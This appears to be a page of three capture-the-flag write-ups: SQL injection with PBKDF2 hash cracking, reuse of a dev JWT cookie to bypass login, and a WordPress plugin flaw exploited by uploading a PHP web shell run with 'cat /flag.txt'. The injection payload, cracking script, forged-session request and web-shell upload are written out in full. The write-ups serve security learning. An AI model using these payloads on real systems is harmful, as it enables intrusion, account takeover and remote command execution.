![Challenge description](//images.ctfassets.net/hlpa8p7acp13/5afy0mjx0Qy4VjVpru5uFK/347e4fe4a8256a2b71fad5a496dd0c90/Hacker_Web_Store-Medium-1.png)

When visiting, I discover a webshop typically aimed at the stereotype of a hacker.
There are 2 pages:

- `/` for the products listing
- `/create` to create products
- `/admin` to connect to the password protected area of the website.

Since we could easily create new products, I tried adding `')` to one of them, which retunred a very useful error to help me understand what was going on.

![Product page with sql error](//images.ctfassets.net/hlpa8p7acp13/7MmfNDVzbBL4cXki6aVCng/0174685c32a0fbea3c007cdd23241d82/Hacker_Web_Store-Medium-2.png)

The following injection, after the content of the third field, is what allowed me to see the contents of the database:

```sql
lord') UNION SELECT * FROM users/*
```

 - With `UNION` we add to the existing expression.
 - `SELECT * FROM users` allows me to read the content of the table `users`.
 - `/*` comments the rest of the line, so it would execute my injection without errors.

![Uncrackable hashes](//images.ctfassets.net/hlpa8p7acp13/6MH5mR9HunqtN5kKl3xGBP/9c113a13e9b3286132561e7eaff4b31b/Hacker_Web_Store-Medium-3.png)

From there, it was just a matter of cracking hashes. But it turns out it wasn't so straight forward:
after some research, I discovered `hashcat` and `john the ripper`, 2 of the most common tools used for cracking hashes, had multiple modes for pbkdf2 sha256, but none seemed to work with our current specific format.
After even more research, I had managed to identify different parts of the hash, thanks to Reddit and Stack-Overflow threads:

```ruby
pbkdf2:sha256:<iterations>$<salt>$<hash>
```
After trying desperately with hascat modes 10900, 10000, 1460, my hashes were not cracking.

Remember, we have 2000 potential passwords in a list given in the challenge description, so even if we have 600k iterations, it shouldn’t take too long.

I ended up making my own decryption tool:

- crack.py
```python
import hashlib

def crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations):
    with open(password_list_file, 'r') as file:
        passwords = file.read().splitlines()

    for password in passwords:
        # make PBKDF2-HMAC-SHA256
        dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), iterations)
        print(f"Trying password: {password}")

        # match check
        if dk.hex() == target_hash:
            print(f"Password found: {password}")
            return password

    print("Password not found in the provided list.")
    return None

# hash details for website_admin_account, from database
target_hash = "b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57"
salt = "MSok34zBufo9d1tc"
iterations = 600000
password_list_file = "password_list.txt"

crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations)
```
I made sure to print every tested password in order to be able to visually follow progress of the script, as shown below:

![Password discovered!](//images.ctfassets.net/hlpa8p7acp13/2hDDhexic4ZXYqvBfztTwK/14ffd23c32d40dde59107eab565593c0/Hacker_Web_Store-Medium-4.png)

With this, I managed to authenticate at `/admin` and see the flag:

![Flag discovered!](//images.ctfassets.net/hlpa8p7acp13/Q5G61DyBd2HHDcQPlPXhT/95d3195a2660cd7ad3a3f2f05e8d5afd/Hacker_Web_Store-Medium-5.png)
```ruby
flag{87257f24fd71ea9ed8aa62837e768ec0}
```


The real challenge was to crack the pbkdf2_sha256 hashes, once the SQL injection was successful.

The-Hacker-Webstore

The Hacker Webstore

This challenge was the first of 7 challenges on the same blackbox, which meant we had permission to fuzz and bruteforce if needed.

Upon connecting to the challenge, we are redirected to the url: `/app/login` , which shows a register button as well. Registering a user was an interesting task, as I could not register from any other domain than `nahamcon.ctf`. This was a bummer since the app required validation by mail to activate the user account just created.

![Validation required](//images.ctfassets.net/hlpa8p7acp13/4IUITGGJnFnZJsfJQwhnuo/0118ab082ce1e3cd6dc17e71735316ba/The_Mission-Part_1-Knock_Knock-1.png)

Upon further enumeration, I noticed `/app/logout` was redirecting to `/dev-app`, which opened a new avenue for my progress. 

![Finding new endpoints](//images.ctfassets.net/hlpa8p7acp13/2j4ZS9604vQdGFHPIPSkft/7a5ab25e281dfba692a621043300cc7a/The_Mission-Part_1-Knock_Knock-2.png)

Registering a user there proved more successful and didn’t have validation, which gave me a cookie named `dev-token`. It took me quite some time before realising that the logout option, if used on the `/app` side, would actually send a delete request for the correct cookie name for production.

![Name of the production cookie](//images.ctfassets.net/hlpa8p7acp13/3Te30ol4aXtKjC1QzshpLk/3b0c13fa668f32c9f2e16b446f99fc6d/The_Mission-Part_1-Knock_Knock-3.png)

With the correct cookie name, it was then possible to simply reuse the jwt cookie obtained on the dev-app and reuse it in the production app, by changing its name in the browser tools or burp.

```ruby
token-for-prod=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozfQ.MVXc0x_5qMYMmU3orSxp7HfC1FOB9FXuutII-AP_eno
```
With that in hand, we now can be identified as an authenticated user in the dashboard, even though it’s unavailable for maintenance.

![Authentication successful!](//images.ctfassets.net/hlpa8p7acp13/4BwvneZ0VVLeoYeL7B5Hhf/7ac55034f455d95512618721b62e3eed/The_Mission-Part_1-Knock_Knock-4.png)

Expanding on previous findings, since we now had a username, I wanted to see his details so I visited the following and caught the flag!

```http
/app/api/me
```

![Caught the flag!](//images.ctfassets.net/hlpa8p7acp13/5V6Whu0HoKjCzcKq441uGO/2ef179ae3790d632c69cdff2ec792776/The_Mission-Part_1-Knock_Knock-5.png)
```ruby
flag{925f2f867c0f46d986979c935aafca31}
```

----------

This challenge was one of 7, which composed the challenge group called "The Mission", which were rated Hard.

The-Mission-part-1

The Mission Part 1 - Knock Knock

This is another write-up for posterity, even though it was solved after the competition.

![Description du défi](//images.ctfassets.net/hlpa8p7acp13/5F6yg8BH0HISuPVLtlS86Z/309c4a141bb242881aab6ef61b5cc49c/My_Shop_Disaster.png)

This is a fresh Wordpress install with Woocommerce and another plugin that needs to be reviewed for security, which is a typical real life scenario I encounter frequently in my line of work.

Here is the latest twenty-twenty-four theme from Wordpress, with Woocommerce and a twist:

![twenty-twenty-four theme by Wordpress](//images.ctfassets.net/hlpa8p7acp13/1AYaj1mJcTsqF61iQQCA8J/ee292ba015fb7f770de819989aeef8f1/My_Shop_Disaster2.png)

We can quickly find a `/my-account/` endpoint, which is a login page.

![Login endpoint](//images.ctfassets.net/hlpa8p7acp13/2jmuL8x9lLw5siLwFXKdxL/c14620118d051310354c5795a19d6a6c/My_Shop_Disaster3.png)

We have the plugin in a zip archive to pry open. Time to read and understand a lot of PHP. One of the first things I found out about was the possibility to enable user registration from one of the plugin’s rest-endpoint:

- challenge-custom/woo-variations/includes/class-woo-variations-rest-api.php (partial):
```php
function register_customer_registration_disable() {
        register_rest_route( 'woo-variations/v1', '/registration-disable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_disable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}

function registration_disable( $data ) {
        update_option( 'users_can_register', 0 );
        wp_send_json('Customer registration disabled');
}

function register_customer_registration_enable() {
        register_rest_route( 'woo-variations/v1', '/registration-enable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_enable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}
```
This shows us we have a woo-variations api endpoint we can call for 2 actions:

- registration_disable
- registration_enable

That’s when practice actually helped me in real time, as I knew we could call api endpoints from `/wp-json/`. Making a request to the following url allowed to use the ‘feature’:

```http
http://localhost:8686/wp-json/woo-variations/v1/registration-enable
```

![Customer registration enabled](//images.ctfassets.net/hlpa8p7acp13/4nDhoPHAHSEl9Uv4u0cGWP/6e1a54054b6c6a780512c651d0913b89/My_Shop_Disaster4.png)

Next step, I immediately retried to visit `/wp-admin`, and this time instead of a custom login page, I saw the usual Wordpress login, with the expected ‘Register’ button. Here’s the customer dashboard:

![Customer dashboard](//images.ctfassets.net/hlpa8p7acp13/12xe5VwJxpkLMkIfALsTDu/1a25bdf06303c7f0d90fd19a22a05fa4/My_Shop_Disaster5.png)

At this point, there was another part of the code that was problematic in a security perspective:

- challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
```php
function check_permission() {

        if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
        {
                 return false;
        }

        return true;
}
```
We can see the code checks for 2 conditions to be true, and that the second check is actually just looking for the string ‘admin’ in the username. 

> The strpos() function finds the position of the first occurrence of a string inside another string. Note: The strpos() function is case-sensitive.
> 
> https://www.w3schools.com/php/func_string_strpos.asp

So the best thing to do now is to create a user with a login username that contains the word ‘admin’ such as admin-starlord, which allowed me to access features from the backend. I tried modifiying my current username by clicking the account details, but that didn’t work. I needed a new user:

![admin in username trick](//images.ctfassets.net/hlpa8p7acp13/5iZUASEuQo0xG0LE5PWtJJ/625be4b7905a8c86f995d9fa74a80da2/My_Shop_Disaster6.png)

The next interesting feature was `set_gallery_picture`, because it allows to upload a file to the wordpress installation:

- challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
```php
public function set_gallery_picture() {

        if ( !is_admin() || !$this->check_permission() )
        {
                wp_send_json( 'Unauthorized!' );
        }

        $product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;

        // Verify that the product exists and is a WooCommerce product
        if ( $product_id && function_exists( 'wc_get_product' ) ) {

                if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {

                        $file = $_FILES['gallery_picture'];
                        $file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );

                        $upload_dir = wp_upload_dir();
                        $upload_path = $upload_dir['basedir'] . '/woo-gallery/';
                        if ( !file_exists( $upload_path ) ) {
                                wp_mkdir_p( $upload_path );
                        }

                        if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {

                                $file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);

                                if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
                                {
                                        $attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
                                        if ( $attachment_id) {
                                                echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
                                        } else {
                                                echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
                                        }
                                }
                                else {
                                        echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
                                }

                        } else {
                                echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
                        }
                } else {
                        echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
                }
        } else {
                echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
        }
}
```    

We actually don’t have to worry about the first `is_admin()` check, because this function will return true whenever the current URL is for a page on the admin side of WordPress, so no need for more privilege either, in order to upload a file. To do so, I used burpsuite, and it’s very useful `Change body encoding` feature, to have it automatically encode in multipart format, automatically setting the correct boundary header and Content-Type.

![Change body encoding](//images.ctfassets.net/hlpa8p7acp13/3XFk8UHFUaQr2HhkPyNuSA/f8f10aec900bf5a6bc650e6d078a219c/My_Shop_Disaster7.png)

But how do we use it? when we used the wp-json api earlier, this time it wouldn’t work, because in fact it had been added as a wp-ajax action:

```php
public function hooks() {
        add_filter( 'getmoreplugins_get_settings_pages', array( $this, 'init_settings' ) );

        add_filter( 'plugin_action_links_' . plugin_basename( WOO_VARIATIONS_PLUGIN_FILE ), array(
                $this,
                'plugin_action_links'
        ) );

        add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
        add_action( 'admin_footer', array( $this, 'admin_template_js' ) );

        add_action( 'wp_ajax_associate_product_variation', array( $this, 'associate_product_variation' ) );
        add_action( 'wp_ajax_nopriv_associate_product_variation', array( $this, 'associate_product_variation' ) );

        add_action( 'wp_ajax_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
        add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );

        add_action( 'woocommerce_save_product_variation', array( $this, 'save_product_variation' ), 10, 2 );
        add_action( 'woocommerce_product_after_variable_attributes', array( $this, 'gallery_admin_html' ), 10, 3 );

        add_action( 'after_switch_theme', array( $this, 'remove_option' ), 20 );
                }
```
Basically this means we can call this action from :
```http
http://localhost:8686/wp-admin/admin-ajax.php?action=set_gallery_picture&product_id=0&gallery_picture=
```

![My Shop Disaster8](//images.ctfassets.net/hlpa8p7acp13/21Spn1qw0jHQNSkXes73LD/27ab74d12c4cf35484a65fad4a2fc46f/My_Shop_Disaster8.png)

By calling that url, we could manage to send a POST request with the correct parameters to upload a gallery_picture through Burpsuite. In order for the change body encoding option to work, I had to add `Content-Type: x-www-form-urlencoded`, and a filename for my payload as well:

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: challenge.nahamcon.com:port
Cookie: wordpress_b1fc8e0fa54a56c9a22d3b9c2fe67c92=admin-starlord%7C1716846545%7CumCgWrWQc1muc3GhFyIJpzpPbfCUIinVqP6KEeeMKQX%7Cf3f986009f4f4d1185ed6728024ca7ed031c5a2e0d7fa2911ce0352e9f7a943b
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Length: 396

------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="action"

set_gallery_picture
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="product_id"

1
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="gallery_picture"; filename="starlord.php"

<?php if (isset($_GET['cmd'])) system($_GET['cmd']); ?>
------WebKitFormBoundaryoUIWKzm0piFTNvbB--
```
If the error message changes it means the code went one level deeper at least, here’s the response:
```json
{"success":false,"message":"Error adding attachment to Woocommerce product."}0
```
Regardless of the message, we know the file has already been uploaded, so we can just navigate to starlord.php and add the correct parameter:

![Flag for testing](//images.ctfassets.net/hlpa8p7acp13/6m2Zx6fxxFGyprC7YMrA1g/71443d1d3097f2feba25be9bb5177e69/My_Shop_Disaster9.png)

```http
/wp-content/uploads/woo-gallery/starlord.php?cmd=cat /flag.txt
```


This challenge was about Wordpress, PHP, Woocommerce, reading and exploiting code in an e-commerce environment.